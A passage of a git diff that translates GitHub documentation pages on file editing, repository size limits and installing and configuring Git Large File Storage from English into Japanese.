-1. In another user's repository, browse to the folder that contains the file you want to edit. Click the name of the file you want to edit.
-2. Above the file content, click {% octicon "pencil" aria-label="The edit icon" %}. At this point, GitHub forks the repository for you.
-3. Make any changes you need to the file.
-![New content in file](/assets/images/help/repository/edit-readme-light.png)
+1. 他のユーザーのリポジトリで、編集するファイルが含まれるフォルダに移動します。 編集するファイルの名前をクリックします。
+2. ファイルの中身の上にある {% octicon "pencil" aria-label="The edit icon" %} をクリックします。 この時点で、リポジトリが自動でフォークされます。
+3. ファイルに必要な変更を加えます。 ![ファイル内の新しいコンテンツ](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
-6. Click **Propose file change**.
-![Commit Changes button](/assets/images/help/repository/propose_file_change_button.png)
-7. Type a title and description for your pull request.
-![Pull Request description page](/assets/images/help/pull_requests/pullrequest-description.png)
-8. Click **Create pull request**.
-![Pull Request button](/assets/images/help/pull_requests/pullrequest-send.png)
+6. [**Propose file change**] をクリックします。 ![変更のコミットボタン](/assets/images/help/repository/propose_file_change_button.png)
+7. プルリクエストのタイトルと説明を入力します。 ![プルリクエストの説明ページ](/assets/images/help/pull_requests/pullrequest-description.png)
+8. **Create pull request**をクリックします。 ![プルリクエストボタン](/assets/images/help/pull_requests/pullrequest-send.png)
diff --git a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
index 575108e57e..74ff89c1cd 100644
--- a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
+++ b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
@@ -27,80 +27,80 @@ shortTitle: Large files
 ## About size limits on {% data variables.product.product_name %}
 
 {% ifversion fpt or ghec %}
-{% data variables.product.product_name %} tries to provide abundant storage for all Git repositories, although there are hard limits for file and repository sizes. To ensure performance and reliability for our users, we actively monitor signals of overall repository health. Repository health is a function of various interacting factors, including size, commit frequency, contents, and structure.
+{% data variables.product.product_name %} は、すべての Git リポジトリに対して十分なストレージを提供するよう努めていますが、ファイルとリポジトリのサイズにはハードリミットがあります。 ユーザのパフォーマンスと信頼性を確保するため、リポジトリ全体の健全性のシグナルを積極的に監視しています。 リポジトリの健全性は、サイズ、コミット頻度、コンテンツ、構造など、さまざまな相互作用要因の機能よるものです。
 
 ### File size limits
 {% endif %}
 
-{% data variables.product.product_name %} limits the size of files allowed in repositories. If you attempt to add or update a file that is larger than {% data variables.large_files.warning_size %}, you will receive a warning from Git. The changes will still successfully push to your repository, but you can consider removing the commit to minimize performance impact. For more information, see "[Removing files from a repository's history](#removing-files-from-a-repositorys-history)."
+{% data variables.product.product_name %} limits the size of files allowed in repositories. {% data variables.large_files.warning_size %}より大きいファイルを追加または更新しようとすると、Gitから警告が表示されます。 変更は引き続きリポジトリに正常にプッシュされますが、パフォーマンスへの影響を最小限に抑えるためにコミットを削除することを検討してもよいでしょう。 詳細は「[リポジトリの履歴からファイルを削除する](#removing-files-from-a-repositorys-history)」を参照してください。
 
 {% note %}
 
-**Note:** If you add a file to a repository via a browser, the file can be no larger than {% data variables.large_files.max_github_browser_size %}. For more information, see "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)."
+**メモ:** ブラウザ経由でリポジトリにファイルを追加する場合、そのファイルは {% data variables.large_files.max_github_browser_size %} 以下でなければなりません。 詳細は「[ファイルをリポジトリに追加する](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)」を参照してください。
 
 {% endnote %}
 
-{% ifversion ghes %}By default, {% endif %}{% data variables.product.product_name %} blocks pushes that exceed {% data variables.large_files.max_github_size %}. {% ifversion ghes %}However, a site administrator can configure a different limit for {% data variables.product.product_location %}.  For more information, see "[Setting Git push limits](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-git-push-limits)."{% endif %}
+{% ifversion ghes %}デフォルトでは、{% endif %}{% data variables.product.product_name %}は{% data variables.large_files.max_github_size %}以上のプッシュをブロックします。 {% ifversion ghes %} ただし、サイト管理者は {% data variables.product.product_location %} に別の制限を設定できます。  For more information, see "[Setting Git push limits](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-git-push-limits)."{% endif %}
 
-To track files beyond this limit, you must use {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see "[About {% data variables.large_files.product_name_long %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)."
+To track files beyond this limit, you must use {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). 詳しい情報については、「[{% data variables.large_files.product_name_long %} について](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)」を参照してください。
 
-If you need to distribute large files within your repository, you can create releases on {% data variables.product.product_location %} instead of tracking the files. For more information, see "[Distributing large binaries](#distributing-large-binaries)."
+If you need to distribute large files within your repository, you can create releases on {% data variables.product.product_location %} instead of tracking the files. 詳しい情報については、「[大きなバイナリを配布する](#distributing-large-binaries)」を参照してください。
 
-Git is not designed to handle large SQL files. To share large databases with other developers, we recommend using [Dropbox](https://www.dropbox.com/).
+Git is not designed to handle large SQL files. 大規模なデータベースを他の開発者と共有するには、[Dropbox](https://www.dropbox.com/) の使用をお勧めします。
 
 {% ifversion fpt or ghec %}
 ### Repository size limits
 
-We recommend repositories remain small, ideally less than 1 GB, and less than 5 GB is strongly recommended. Smaller repositories are faster to clone and easier to work with and maintain. If your repository excessively impacts our infrastructure, you might receive an email from {% data variables.contact.github_support %} asking you to take corrective action. We try to be flexible, especially with large projects that have many collaborators, and will work with you to find a resolution whenever possible. You can prevent your repository from impacting our infrastructure by effectively managing your repository's size and overall health. You can find advice and a tool for repository analysis in the [`github/git-sizer`](https://github.com/github/git-sizer) repository.
+リポジトリは小さく保ち、理想としては 1GB 未満、および 5GB 未満にすることを強くお勧めします。 リポジトリが小さいほど、クローン作成が速く、操作やメンテナンスが簡単になります。 リポジトリがインフラストラクチャに過度に影響する場合は、{% data variables.contact.github_support %} から是正措置を求めるメールが送られてくる場合があります。 特に多くのコラボレータが参加している大規模なプロジェクトでは、柔軟に対応するよう努めており、可能な限り解決策を見つけるために協力します。 リポジトリのサイズと全体的な健全性を効果的に管理することで、リポジトリがインフラストラクチャに影響を与えることを防ぎます。 [`github/git-sizer`](https://github.com/github/git-sizer) リポジトリには、リポジトリ分析のためのアドバイスとツールがあります。
 
-External dependencies can cause Git repositories to become very large. To avoid filling a repository with external dependencies, we recommend you use a package manager. Popular package managers for common languages include [Bundler](http://bundler.io/), [Node's Package Manager](http://npmjs.org/), and [Maven](http://maven.apache.org/). These package managers support using Git repositories directly, so you don't need pre-packaged sources.
+外部依存関係によって、Git リポジトリが非常に大きくなる場合があります。 リポジトリが外部依存関係で埋まってしまうことを避けるために、パッケージマネージャーの使用をお勧めします。 一般的な言語で人気のあるパッケージマネージャーには、[Bundler](http://bundler.io/)、[Node のパッケージマネージャー](http://npmjs.org/)、[Maven](http://maven.apache.org/) などがあります。 これらのパッケージマネージャーは Git リポジトリの直接使用をサポートしているため、事前にパッケージ化されたソースは必要ありません。
 
-Git is not designed to serve as a backup tool. However, there are many solutions specifically designed for performing backups, such as [Arq](https://www.arqbackup.com/), [Carbonite](http://www.carbonite.com/), and [CrashPlan](https://www.crashplan.com/en-us/).
+Git はバックアップツールとして機能するようには設計されていません。 ただし、[Arq](https://www.arqbackup.com/)、[Carbonite](http://www.carbonite.com/)、[CrashPlan](https://www.crashplan.com/en-us/) など、バックアップを実行するために特別に設計された多くのソリューションがあります。
 {% endif %}
 
-## Removing files from a repository's history
+## ファイルをリポジトリの履歴から削除する
 
 {% warning %}
 
-**Warning**: These procedures will permanently remove files from the repository on your computer and {% data variables.product.product_location %}. If the file is important, make a local backup copy in a directory outside of the repository.
+**警告**: この手順では、ファイルをコンピュータのリポジトリと {% data variables.product.product_location %} から恒久的に削除します。 ファイルが重要なものである場合は、ローカルバックアップコピーをリポジトリ外にあるディレクトリに作成してください。
 
 {% endwarning %}
 
-### Removing a file added in the most recent unpushed commit
+### プッシュされていない直近のコミットで追加されたファイルを削除する
 
-If the file was added with your most recent commit, and you have not pushed to {% data variables.product.product_location %}, you can delete the file and amend the commit:
+ファイルが直近のコミットで追加され、{% data variables.product.product_location %} にプッシュしていない場合は、ファイルを削除してコミットを修正することができます。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.command_line.switching_directories_procedural %}
-3. To remove the file, enter `git rm --cached`:
+3. ファイルを削除するため、`git rm --cached` を入力します。
   ```shell
-  $ git rm --cached <em>giant_file</em>
-  # Stage our giant file for removal, but leave it on disk
+  $ git rm --cached <em>サイズの大きいファイル</em>
+  # サイズの大きいファイルを削除するためにステージするが、ディスクには残す
   ```
-4. Commit this change using `--amend -CHEAD`:
+4. `--amend -CHEAD` を使用して、この変更をコミットします。
   ```shell
   $ git commit --amend -CHEAD
-  # Amend the previous commit with your change
-  # Simply making a new commit won't work, as you need
-  # to remove the file from the unpushed history as well
+  # 以前のコミットを変更して修正する
+  # プッシュされていない履歴からもファイルを削除する必要があるため
+  # 単に新しいコミットを行うだけでは機能しない
   ```
-5. Push your commits to {% data variables.product.product_location %}:
+5. コミットを {% data variables.product.product_location %} にプッシュします。
   ```shell
   $ git push
-  # Push our rewritten, smaller commit
+  # 書き換えられサイズが小さくなったコミットをプッシュする
   ```
 
-### Removing a file that was added in an earlier commit
+### 以前のコミットで追加されたファイルを削除する
 
-If you added a file in an earlier commit, you need to remove it from the repository's history. To remove files from the repository's history, you can use the BFG Repo-Cleaner or the `git filter-branch` command. For more information see "[Removing sensitive data from a repository](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)."
+以前のコミットでファイルを追加した場合は、リポジトリの履歴から削除する必要があります。 リポジトリの履歴からファイルを削除するには、BFG Repo-Cleaner または `git filter-branch` コマンドを使用できます。 詳細は「[機密データをリポジトリから削除する](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)」を参照してください。
 
-## Distributing large binaries
+## 大きなバイナリを配布する
 
-If you need to distribute large files within your repository, you can create releases on {% data variables.product.product_location %}. Releases allow you to package software, release notes, and links to binary files, for other people to use. For more information, visit "[About releases](/github/administering-a-repository/about-releases)."
+リポジトリ内で大きなファイルを配布する必要がある場合は、{% data variables.product.product_location %}でリリースを作成できます。 リリースでは、他の人が使用できるように、ソフトウェア、リリースノート、バイナリファイルへのリンクをパッケージ化できます。 詳細は「[リリースについて](/github/administering-a-repository/about-releases)」を参照してください。
 
 {% ifversion fpt or ghec %}
 
-We don't limit the total size of the binary files in the release or the bandwidth used to deliver them. However, each individual file must be smaller than {% data variables.large_files.max_lfs_size %}.
+リリース内のバイナリファイルの合計サイズや、それらの配布に使用される帯域は制限されません。 ただし、個々のファイルは{% data variables.large_files.max_lfs_size %}未満でなければなりません。
 
 {% endif %}
 
diff --git a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
index f1cd37622a..76c18376eb 100644
--- a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
+++ b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Collaboration with Git Large File Storage
-intro: 'With {% data variables.large_files.product_name_short %} enabled, you''ll be able to fetch, modify, and push large files just as you would expect with any file that Git manages. However, a user that doesn''t have {% data variables.large_files.product_name_short %} will experience a different workflow.'
+title: Git Large File Storage でのコラボレーション
+intro: '{% data variables.large_files.product_name_short %}を有効にすると、大容量のファイルも Git で扱う通常のファイルと同じようにフェッチ、修正、プッシュできます。 ただし、{% data variables.large_files.product_name_short %}を持っていないユーザの場合、ワークフローが異なります。'
 redirect_from:
   - /articles/collaboration-with-large-file-storage
   - /articles/collaboration-with-git-large-file-storage
@@ -11,36 +11,37 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Collaboration
+shortTitle: コラボレーション
 ---
-If collaborators on your repository don't have {% data variables.large_files.product_name_short %} installed, they won't have access to the original large file. If they attempt to clone your repository, they will only fetch the pointer files, and won't have access to any of the actual data.
+
+リポジトリのコラボレーターが {% data variables.large_files.product_name_short %}をインストールしていない場合、オリジナルの大容量ファイルにはアクセスできません。 リポジトリのクローンを試みた場合、ポインタファイルをフェッチするのみで、実際のデータにはアクセスできません。
 
 {% tip %}
 
-**Tip:** To help users without {% data variables.large_files.product_name_short %} enabled, we recommend you set guidelines for repository contributors that describe how to work with large files. For example, you may ask contributors not to modify large files, or to upload changes to a file sharing service like [Dropbox](http://www.dropbox.com/) or <a href="https://drive.google.com/" data-proofer-ignore>Google Drive</a>. For more information, see "[Setting guidelines for repository contributors](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)."
+**ヒント:** {% data variables.large_files.product_name_short %}を有効にしていないユーザに対しては、大きなファイルの扱いについて記載したリポジトリコントリビューターのためのガイドラインを設定することをお勧めします。 たとえば、大容量ファイルを修正しないように、あるいは [Dropbox](http://www.dropbox.com/) や <a href="https://drive.google.com/" data-proofer-ignore>Google Drive</a> といったファイル共有サービスに変更をアップロードするように、コントリビューターに依頼するとよいでしょう。 詳しい情報については、「[リポジトリコントリビューターのためのガイドラインを定める](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)」を参照してください。
 
 {% endtip %}
 
-## Viewing large files in pull requests
+## プルリクエストの大容量ファイルを表示する
 
-{% data variables.product.product_name %} does not render {% data variables.large_files.product_name_short %} objects in pull requests. Only the pointer file is shown:
+{% data variables.product.product_name %}は、プルリクエストの {% data variables.large_files.product_name_short %}オブジェクトを表示しません。 ポインタファイルのみが表示されます。
 
-![Sample PR for large files](/assets/images/help/large_files/large_files_pr.png)
+![大容量ファイルのプルリクエスト例](/assets/images/help/large_files/large_files_pr.png)
 
-For more information about pointer files, see "[About {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)."
+ポインタファイルに関する詳しい情報については、「[{% data variables.large_files.product_name_long %}について](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)」を参照してください。
 
-To view changes made to large files, check out the pull request locally to review the diff. For more information, see "[Checking out pull requests locally](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)."
+大きなファイルに加えられた変更を表示するには、プルリクエストをローカルでチェックアウトしてdiffを確認します。 詳しい情報については、「[プルリクエストをローカルでチェック アウトする](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)」を参照してください。
 
 {% ifversion fpt or ghec %}
 
-## Pushing large files to forks
+## 大容量ファイルをフォークにプッシュする
 
-Pushing large files to forks of a repository count against the parent repository's bandwidth and storage quotas, rather than the quotas of the fork owner.
+リポジトリのフォークに大容量ファイルをプッシュすると、フォークのオーナーのではなく、親リポジトリの、帯域幅およびストレージのクオータを消費することになります。
 
-You can push {% data variables.large_files.product_name_short %} objects to public forks if the repository network already has {% data variables.large_files.product_name_short %} objects or you have write access to the root of the repository network.
+リポジトリネットワークですでに {% data variables.large_files.product_name_short %}オブジェクトがあるか、リポジトリネットワークのルートに書き込みアクセスがある場合、パブリックフォークに {% data variables.large_files.product_name_short %}オブジェクトをプッシュできます。
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Duplicating a repository with Git Large File Storage objects](/articles/duplicating-a-repository/#mirroring-a-repository-that-contains-git-large-file-storage-objects)"
+- [Git Large File Storage オブジェクトでリポジトリを複製する](/articles/duplicating-a-repository/#mirroring-a-repository-that-contains-git-large-file-storage-objects)
diff --git a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
index 6569c30f30..664fa22553 100644
--- a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
+++ b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring Git Large File Storage
-intro: 'Once [{% data variables.large_files.product_name_short %} is installed](/articles/installing-git-large-file-storage/), you need to associate it with a large file in your repository.'
+title: Git Large File Storage を設定する
+intro: '[{% data variables.large_files.product_name_short %} をインストール](/articles/installing-git-large-file-storage/) したら、それをリポジトリ内の大容量ファイルに関連付ける必要かあります。'
 redirect_from:
   - /articles/configuring-large-file-storage
   - /articles/configuring-git-large-file-storage
@@ -13,7 +13,8 @@ versions:
   ghec: '*'
 shortTitle: Configure Git LFS
 ---
-If there are existing files in your repository that you'd like to use {% data variables.product.product_name %} with, you need to first remove them from the repository and then add them to {% data variables.large_files.product_name_short %} locally. For more information, see "[Moving a file in your repository to {% data variables.large_files.product_name_short %}](/articles/moving-a-file-in-your-repository-to-git-large-file-storage)."
+
+{% data variables.product.product_name %} で利用したいファイルがリポジトリにある場合、まずリポジトリからそれらのファイルを削除し、それからローカルで {% data variables.large_files.product_name_short %} に追加する必要があります。 詳細は「[リポジトリ内のファイルを {% data variables.large_files.product_name_short %} に移動する](/articles/moving-a-file-in-your-repository-to-git-large-file-storage)」を参照してください。
 
 {% data reusables.large_files.resolving-upload-failures %}
 
@@ -21,46 +22,46 @@ If there are existing files in your repository that you'd like to use {% data va
 
 {% tip %}
 
-**Note:** Before trying to push a large file to {% data variables.product.product_name %}, make sure that you've enabled {% data variables.large_files.product_name_short %} on your enterprise. For more information, see "[Configuring Git Large File Storage on GitHub Enterprise Server](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise-server/)."
+**注釈:** 大容量ファイルを {% data variables.product.product_name %} にプッシュする前に、Enterprise で {% data variables.large_files.product_name_short %} を有効化していることを確認してください。 詳しい情報については「[GitHub Enterprise Server で Git Large File Storage を設定する](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise-server/)」を参照してください。
 
 {% endtip %}
 
 {% endif %}
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change your current working directory to an existing repository you'd like to use with {% data variables.large_files.product_name_short %}.
-3. To associate a file type in your repository with {% data variables.large_files.product_name_short %}, enter `git {% data variables.large_files.command_name %} track` followed by the name of the file extension you want to automatically upload to {% data variables.large_files.product_name_short %}.
+2. カレントワーキングディレクトリを、{% data variables.large_files.product_name_short %}で利用したい既存のリポジトリに変更します。
+3. リポジトリにあるファイルの種類を {% data variables.large_files.product_name_short %} と関連付けるには、`git {% data variables.large_files.command_name %} track` の後に、{% data variables.large_files.product_name_short %} に自動的にアップロードしたいファイル拡張子の名前を入力します。
 
-  For example, to associate a _.psd_ file, enter the following command:
+  たとえば、_.psd_ ファイルを関連付けるには、以下のコマンドを入力します:
   ```shell
   $ git {% data variables.large_files.command_name %} track "*.psd"
   > Adding path *.psd
   ```
-  Every file type you want to associate with {% data variables.large_files.product_name_short %} will need to be added with `git {% data variables.large_files.command_name %} track`. This command amends your repository's *.gitattributes* file and associates large files with {% data variables.large_files.product_name_short %}.
+  {% data variables.large_files.product_name_short %} に関連付けたいファイルタイプはすべて `git {% data variables.large_files.command_name %} track` で追加する必要があります。 このコマンドは、リポジトリの *.gitattributes* ファイルを修正し、大容量ファイルを {% data variables.large_files.product_name_short %} に関連付けます。
 
   {% tip %}
 
-  **Tip:** We strongly suggest that you commit your local *.gitattributes* file into your repository. Relying on a global *.gitattributes* file associated with {% data variables.large_files.product_name_short %} may cause conflicts when contributing to other Git projects.
+  **ヒント:** ローカルの *.gitattributes* ファイルをリポジトリにコミットするよう強くおすすめします。 {% data variables.large_files.product_name_short %} に関連付けられているグローバルな *.gitattributes* ファイルを利用すると、他の Git プロジェクトにコントリビュートする際にコンフリクトを起こすことがあります。
 
   {% endtip %}
 
-4. Add a file to the repository matching the extension you've associated:
+4. 以下のコマンドで、関連付けた拡張子に一致するリポジトリにファイルを追加します:
   ```shell
   $ git add path/to/file.psd
   ```
-5. Commit the file and push it to {% data variables.product.product_name %}:
+5. 以下のように、ファイルをコミットし、{% data variables.product.product_name %} にプッシュします:
   ```shell
   $ git commit -m "add file.psd"
   $ git push
   ```
-  You should see some diagnostic information about your file upload:
+  アップロードしたファイルの Diagnostics 情報が、以下のように表示されるはずです:
   ```shell
   > Sending file.psd
   > 44.74 MB / 81.04 MB  55.21 % 14s
   > 64.74 MB / 81.04 MB  79.21 % 3s
   ```
 
-## Further reading
+## 参考リンク
 
-- "[Collaboration with {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/)"{% ifversion fpt or ghec %}
-- "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)"{% endif %}
+- 「[{% data variables.large_files.product_name_long %} とのコラボレーション](/articles/collaboration-with-git-large-file-storage/)」{% ifversion fpt or ghec %}
+- 「[リポジトリのアーカイブ内の {% data variables.large_files.product_name_short %} オブジェクトを管理する](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)」{% endif %}
diff --git a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
index 744ea932b5..877e988ae5 100644
--- a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
+++ b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Installing Git Large File Storage
-intro: 'In order to use {% data variables.large_files.product_name_short %}, you''ll need to download and install a new program that''s separate from Git.'
+title: Git Large File Storage をインストールする
+intro: '{% data variables.large_files.product_name_short %} を使用するには、Git とは別の新しいプログラムをダウンロードしてインストールする必要があります。'
 redirect_from:
   - /articles/installing-large-file-storage
   - /articles/installing-git-large-file-storage
@@ -13,104 +13,105 @@ versions:
   ghec: '*'
 shortTitle: Install Git LFS
 ---
+
 {% mac %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**. Alternatively, you can install {% data variables.large_files.product_name_short %} using a package manager:
-    - To use [Homebrew](http://brew.sh/), run `brew install git-lfs`.
-    - To use [MacPorts](https://www.macports.org/), run `port install git-lfs`.
+1. [git-lfs.github.com](https://git-lfs.github.com) に移動し、[**Download**] をクリックします。 または、パッケージ マネージャーを使用すれば {% data variables.large_files.product_name_short %} をインストールできます。
+    - [Homebrew](http://brew.sh/) を使用するには、`brew install git-lfs` を実行します。
+    - [MacPorts](https://www.macports.org/) を使用するには、`port install git-lfs` を実行します。
 
- If you install {% data variables.large_files.product_name_short %} with Homebrew or MacPorts, skip to step six.
+ Homebrew または MacPorts を使用して {% data variables.large_files.product_name_short %} をインストールする場合は、スキップしてステップ 6 まで進んでください。
 
-2. On your computer, locate and unzip the downloaded file.
+2. コンピュータで、ダウンロードしたファイルを探して解凍します。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory into the folder you downloaded and unzipped.
+3. 現在のワーキングディレクトリを、ダウンロードして解凍したフォルダに変更します。
   ```shell
   $ cd ~/Downloads/git-lfs-<em>1.X.X</em>
   ```
  {% note %}
 
- **Note:** The file path you use after `cd` depends on your operating system, Git LFS version you downloaded, and where you saved the {% data variables.large_files.product_name_short %} download.
+ **メモ:** `cd` の後ろに指定するファイル パスは、お使いのオペレーティング システム、ダウンロードした Git LFS のバージョン、{% data variables.large_files.product_name_short %} のダウンロードを保存した場所によって異なります。
 
  {% endnote %}
-4. To install the file, run this command:
+4. ファイルをインストールするには、次のコマンドを実行します:
   ```shell
   $ ./install.sh
   > {% data variables.large_files.product_name_short %} initialized.
   ```
  {% note %}
 
- **Note:** You may have to use `sudo ./install.sh` to install the file.
+ **メモ:** ファイルをインストールするには、 `sudo ./install.sh` を使用しなければならない場合があります。
 
  {% endnote %}
-5. Verify that the installation was successful:
+5. インストールが成功したか検証します。
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. `git {% data variables.large_files.command_name %} install` が成功したことを示すメッセージが表示されない場合は、{% data variables.contact.contact_support %} に連絡してください。 お使いのオペレーティング システムの名前を必ずお伝えください。
 
 {% endmac %}
 
 {% windows %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**.
+1. [git-lfs.github.com](https://git-lfs.github.com) に移動し、[**Download**] をクリックします。
 
   {% tip %}
 
-  **Tip:** For more information about alternative ways to install {% data variables.large_files.product_name_short %} for Windows, see this [Getting started guide](https://github.com/github/git-lfs#getting-started).
+  **ヒント:** Windows で {% data variables.large_files.product_name_short %} をインストールする別の方法については、[スタートガイド](https://github.com/github/git-lfs#getting-started)を参照してください。
 
   {% endtip %}
-2. On your computer, locate the downloaded file.
-3. Double click on the file called *git-lfs-windows-1.X.X.exe*, where 1.X.X is replaced with the Git LFS version you downloaded. When you open this file Windows will run a setup wizard to install {% data variables.large_files.product_name_short %}.
+2. コンピュータで、ダウンロードしたファイルを見つけます。
+3. *git-lfs-windows-1.X.X.exe* というファイルをダブルクリックします。1.X.X は、ダウンロードした Git LFS のバージョンに置き換えてください。 このファイルを開くと、Windows は {% data variables.large_files.product_name_short %} をインストールするセットアップ ウィザードを実行します。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-5. Verify that the installation was successful:
+5. インストールが成功したか検証します。
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. `git {% data variables.large_files.command_name %} install` が成功したことを示すメッセージが表示されない場合は、{% data variables.contact.contact_support %} に連絡してください。 お使いのオペレーティング システムの名前を必ずお伝えください。
 
 {% endwindows %}
 
 {% linux %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**.
+1. [git-lfs.github.com](https://git-lfs.github.com) に移動し、[**Download**] をクリックします。
 
   {% tip %}
 
-  **Tip:** For more information about alternative ways to install {% data variables.large_files.product_name_short %} for Linux, see this [Getting started guide](https://github.com/github/git-lfs#getting-started).
+  **ヒント:** Linux で {% data variables.large_files.product_name_short %} をインストールする別の方法については、[スタートガイド](https://github.com/github/git-lfs#getting-started)を参照してください。
 
   {% endtip %}
-2. On your computer, locate and unzip the downloaded file.
+2. コンピュータで、ダウンロードしたファイルを探して解凍します。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory into the folder you downloaded and unzipped.
+3. 現在のワーキングディレクトリを、ダウンロードして解凍したフォルダに変更します。
   ```shell
   $ cd ~/Downloads/git-lfs-<em>1.X.X</em>
   ```
  {% note %}
 
- **Note:** The file path you use after `cd` depends on your operating system, Git LFS version you downloaded, and where you saved the {% data variables.large_files.product_name_short %} download.
+ **メモ:** `cd` の後ろに指定するファイル パスは、お使いのオペレーティング システム、ダウンロードした Git LFS のバージョン、{% data variables.large_files.product_name_short %} のダウンロードを保存した場所によって異なります。
 
  {% endnote %}
-4. To install the file, run this command:
+4. ファイルをインストールするには、次のコマンドを実行します:
   ```shell
   $ ./install.sh
   > {% data variables.large_files.product_name_short %} initialized.
   ```
  {% note %}
 
- **Note:** You may have to use `sudo ./install.sh` to install the file.
+ **メモ:** ファイルをインストールするには、 `sudo ./install.sh` を使用しなければならない場合があります。
 
  {% endnote %}
-5. Verify that the installation was successful:
+5. インストールが成功したか検証します。
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. `git {% data variables.large_files.command_name %} install` が成功したことを示すメッセージが表示されない場合は、{% data variables.contact.contact_support %} に連絡してください。 お使いのオペレーティング システムの名前を必ずお伝えください。
 
 {% endlinux %}
 
-## Further reading
+## 参考リンク
 
-- "[Configuring {% data variables.large_files.product_name_long %}](/articles/configuring-git-large-file-storage)"
+- 「[{% data variables.large_files.product_name_long %} を構成する](/articles/configuring-git-large-file-storage)」
diff --git a/translations/ja-JP/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md b/translations/ja-JP/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
index e634289eb4..187ce1fd4b 100644
--- a/translations/ja-JP/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
+++ b/translations/ja-JP/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
@@ -1,6 +1,6 @@
 ---
-title: Getting permanent links to files
-intro: 'When viewing a file on {% data variables.product.product_location %}, you can press the "y" key to update the URL to a permalink to the exact version of the file you see.'
+title: ファイルへのパーマリンクを取得する
+intro: '{% data variables.product.product_location %} でファイルを表示する際に y キーを押すと、URL を、表示されているファイルと完全に同じバージョンへのパーマリンクへと更新できます。'
 redirect_from:
   - /articles/getting-a-permanent-link-to-a-file
   - /articles/how-do-i-get-a-permanent-link-from-file-view-to-permanent-blob-url
@@ -16,42 +16,43 @@ topics:
   - Repositories
 shortTitle: Permanent links to files
 ---
+
 {% tip %}
 
-**Tip**: Press "?" on any page in {% data variables.product.product_name %} to see all available keyboard shortcuts.
+**参考**: {% data variables.product.product_name %} のすべてのページで [?] を押すと、使用可能なキーボードのショートカットすべてを確認できます。
 
